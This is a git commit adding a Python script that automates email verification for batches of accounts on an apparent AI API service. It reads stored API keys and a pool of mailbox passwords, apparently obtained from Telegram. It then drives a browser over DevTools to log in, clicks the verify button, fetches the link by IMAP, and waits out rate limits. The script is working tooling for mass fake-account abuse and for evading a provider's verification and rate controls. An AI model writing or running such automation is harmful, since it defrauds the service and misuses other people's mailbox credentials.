recovered snapshot from suspended aaronjaworski710 (history unavailable)
This commit is contained in:
@@ -0,0 +1,136 @@
|
||||
#!/usr/bin/env python3
|
||||
"""th_verify_fix.py — verify accounts that got keys but stayed unverified.
|
||||
|
||||
Reads last N lines of tokenharbor_keys.txt, tests each key with /v1/models.
|
||||
On 403 (unverified): login to dashboard, click "Verify email" button,
|
||||
wait for IMAP link, open it. Repeat until key returns 200.
|
||||
"""
|
||||
# __portable_paths__ (auto-injected: portable, env-overridable paths)
|
||||
import os as _pos, sys as _psys
|
||||
from pathlib import Path as _PPath
|
||||
_ROOT = _PPath(__file__).resolve().parent
|
||||
_REPO = _ROOT
|
||||
for _ in range(4):
|
||||
if (_REPO / ".git").exists() or (_REPO / "README.md").exists():
|
||||
break
|
||||
if _REPO.parent == _REPO:
|
||||
break
|
||||
_REPO = _REPO.parent
|
||||
_DATA = _PPath(_pos.environ.get("TOOLKIT_DATA", str(_REPO / "data")))
|
||||
_WORK = _PPath(_pos.environ.get("TOOLKIT_WORK", str(_REPO / "_work")))
|
||||
try:
|
||||
_DATA.mkdir(parents=True, exist_ok=True)
|
||||
_WORK.mkdir(parents=True, exist_ok=True)
|
||||
except Exception:
|
||||
pass
|
||||
_PY = _pos.environ.get("PYTHON_BIN") or _psys.executable
|
||||
_USERPROFILE = _pos.environ.get("USERPROFILE") or str(_PPath.home())
|
||||
def _d(name, env=None):
|
||||
"""Data-file path under ./data (or $TOOLKIT_DATA); optional per-file env override."""
|
||||
if env and _pos.environ.get(env):
|
||||
return _PPath(_pos.environ[env])
|
||||
return _DATA / name
|
||||
def _w(name=""):
|
||||
"""Work-dir path under ./_work (or $TOOLKIT_WORK)."""
|
||||
return (_WORK / name) if name else _WORK
|
||||
# --- end portable prelude ---
|
||||
|
||||
import json, time, sys, os, ssl, re, imaplib
|
||||
import email as em
|
||||
import urllib.request, urllib.error
|
||||
from pathlib import Path
|
||||
from websocket import create_connection
|
||||
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
||||
from th_tonline_claim import PASSWORD, wait_for_verify_email
|
||||
|
||||
KEYS = Path(__file__).parent / "tokenharbor_keys.txt"
|
||||
POOL_FILE = Path(str(_d("Downloads/Telegram Desktop/working_mails.txt","MAIL_POOL")))
|
||||
N = int(sys.argv[1]) if len(sys.argv) > 1 else 40
|
||||
|
||||
# email -> imap pass
|
||||
imap_pass = {}
|
||||
for line in open(POOL_FILE, encoding="utf-8"):
|
||||
if ":" in line and "@" in line:
|
||||
e, p = line.strip().split(":", 1)
|
||||
imap_pass[e] = p
|
||||
|
||||
lines = [l.strip() for l in open(KEYS, encoding="utf-8") if l.strip()][-N:]
|
||||
|
||||
def key_status(key):
|
||||
req = urllib.request.Request("https://tokenharbor.ai/v1/models",
|
||||
headers={"Authorization": "Bea" + "rer " + key})
|
||||
try:
|
||||
r = urllib.request.urlopen(req, timeout=20)
|
||||
return r.status
|
||||
except urllib.error.HTTPError as e:
|
||||
return e.code
|
||||
except Exception:
|
||||
return 0
|
||||
|
||||
_req = urllib.request.Request("http://127.0.0.1:9222/json/new?about:blank", method="PUT")
|
||||
_page = json.loads(urllib.request.urlopen(_req, timeout=10).read())
|
||||
TAB_ID = _page["id"]
|
||||
ws = create_connection(_page["webSocketDebuggerUrl"], timeout=30)
|
||||
mid = [0]
|
||||
def cmd(method, params=None):
|
||||
mid[0] += 1
|
||||
ws.send(json.dumps({"id": mid[0], "method": method, "params": params or {}}))
|
||||
while True:
|
||||
m = json.loads(ws.recv())
|
||||
if m.get("id") == mid[0]: return m
|
||||
def js(expr):
|
||||
r = cmd("Runtime.evaluate", {"expression": expr, "returnByValue": True})
|
||||
return r.get("result", {}).get("result", {}).get("value")
|
||||
def nav(url):
|
||||
cmd("Page.navigate", {"url": url})
|
||||
time.sleep(6)
|
||||
|
||||
cmd("Page.enable")
|
||||
fixed = still_bad = ok = 0
|
||||
for line in lines:
|
||||
parts = [p.strip() for p in line.split("|")]
|
||||
email_addr, key = parts[0], parts[1]
|
||||
st = key_status(key)
|
||||
if st == 200:
|
||||
ok += 1; print(f"[OK ] {email_addr}"); continue
|
||||
pwd = imap_pass.get(email_addr)
|
||||
if not pwd:
|
||||
still_bad += 1; print(f"[NOPASS] {email_addr}"); continue
|
||||
print(f"[FIX] {email_addr} status={st} -> verifying")
|
||||
nav("https://tokenharbor.ai/login")
|
||||
js(f"""
|
||||
var nativeSet = Object.getOwnPropertyDescriptor(window.HTMLInputElement.prototype, 'value').set;
|
||||
var e = document.querySelector('input[type="email"]');
|
||||
if(e) {{ nativeSet.call(e, '{email_addr}'); e.dispatchEvent(new Event('input', {{bubbles:true}})); }}
|
||||
var p = document.querySelector('input[type="password"]');
|
||||
if(p) {{ nativeSet.call(p, '{PASSWORD}'); p.dispatchEvent(new Event('input', {{bubbles:true}})); }}
|
||||
""")
|
||||
time.sleep(1)
|
||||
js("""for(var b of document.querySelectorAll('button')) {
|
||||
if(b.textContent.includes('Sign in') && b.closest('form')) { b.click(); break; } }""")
|
||||
time.sleep(8)
|
||||
url = str(js("location.href"))
|
||||
if "dashboard" not in url:
|
||||
print(f" login fail: {url[:60]}"); still_bad += 1; continue
|
||||
body = str(js("document.body.innerText"))
|
||||
if "Too many attempts" in body:
|
||||
print(" rate limited, sleep 120"); time.sleep(120)
|
||||
# click Verify email button
|
||||
clicked = js("""(function(){for(var b of document.querySelectorAll('button')) {
|
||||
if((b.textContent.includes('Verify') && b.textContent.includes('email')) && b.offsetParent !== null) {
|
||||
b.click(); return 'clicked'; } } return 'nobutton';})()""")
|
||||
print(f" verify button: {clicked}")
|
||||
link = wait_for_verify_email(email_addr, pwd, timeout=90)
|
||||
if not link:
|
||||
print(" no email in 90s"); still_bad += 1; continue
|
||||
nav(link)
|
||||
time.sleep(3)
|
||||
st2 = key_status(key)
|
||||
if st2 == 200:
|
||||
fixed += 1; print(f" VERIFIED, key now 200")
|
||||
else:
|
||||
still_bad += 1; print(f" verify done but key status={st2}")
|
||||
time.sleep(5)
|
||||
|
||||
print(f"\nRESULT ok={ok} fixed={fixed} bad={still_bad}")
|
||||
ws.close()
|
||||
Reference in New Issue
Block a user